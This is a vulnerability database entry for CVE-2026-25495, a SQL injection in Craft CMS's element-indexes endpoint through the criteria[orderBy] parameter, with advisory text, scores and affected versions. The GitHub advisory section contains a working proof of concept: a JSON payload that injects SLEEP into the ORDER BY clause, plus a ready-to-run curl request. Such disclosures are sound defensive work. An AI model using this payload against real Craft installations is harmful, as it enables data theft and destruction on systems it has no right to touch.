CVE-2026-25495
JSON

8.7high

Craft has a SQL Injection in Element Indexes via criteria[orderBy]

Severity
8.7high CVSS:4.0 by GitHub_M
Exploit likelihood
0.65% (higher than 46% of CVEs)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-2453-mppf-46cj

Description

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload). This issue is patched in versions 4.16.18 and 5.8.22.

Affected

Product or packageVersionsReported by
craftcms cms>= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18CVE List
craftcms/cms (Packagist)from 5.0.0-RC1 before 5.8.22, from 4.0.0-RC1 before 4.16.18GitHub Advisory Database
craftcms craft_cmsfrom >4.0.0 before 4.16.18, from >5.0.0 before 5.8.22, 4.0.0, 5.0.0NVD

All scores

GitHub_M8.7high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
NVD8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-89

SSVC (CISA-ADP): exploitation none, automatable no, technical impact total.

What each source says

CVE List

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload). This issue is patched in versions 4.16.18 and 5.8.22.

GitHub Advisory Database

Summary

The element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload).

[!NOTE] The ORDER BY clause executes per row. SLEEP(1) on 10 rows = 10s delay.


PoC

Required Permissions
  • Access to the Control Panel
Steps to reproduce
  1. Log in to the control panel
  2. Navigate to any element index (e.g., Users /admin/users, Entries, Assets, etc.)
  3. Intercept the POST request to /index.php?p=admin/actions/element-indexes/get-elements
  4. Modify the JSON body to the following:
{"context":"index","elementType":"craft\\elements\\User","source":"*","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}}
  1. Send the request
  2. Observe a delay in the response (delay = rows × sleep time)

Alternatively, you can use the following curl (bash syntax) command (replace cookie, CSRF token, and target domain as needed):

curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(0.2)) --\"},\"viewState\":{\"static\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'
Impact

With this Blind SQLi, an attacker can:

  • Exfiltrate data character-by-character.
  • Modify or destroy data (drop tables, update records, alter schema).
Root Cause

The orderBy parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., (elements.id)) bypasses internal quoting mechanisms.

NVD (es)

Craft es una plataforma para crear experiencias digitales. En las versiones de Craft 4.0.0-RC1 hasta 4.16.17 y 5.0.0-RC1 hasta 5.8.21, el endpoint element-indexes/get-elements es vulnerable a inyección SQL a través del parámetro criteria[orderBy] (cuerpo JSON). La aplicación no sanea esta entrada antes de usarla en la consulta de la base de datos. Un atacante con acceso al Panel de Control puede inyectar SQL arbitrario en la cláusula ORDER BY al omitir viewState[order] (o al establecer ambos con la misma carga útil). Este problema está parcheado en las versiones 4.16.18 y 5.8.22.

References

Related

Sources

SourceRecordLicence
CVE ListCVE-2026-25495 changed 2026-02-10CVE Terms of Use
GitHub Advisory DatabaseGHSA-2453-mppf-46cj changed 2026-07-08CC-BY-4.0
NVDCVE-2026-25495 changed 2026-06-17Public domain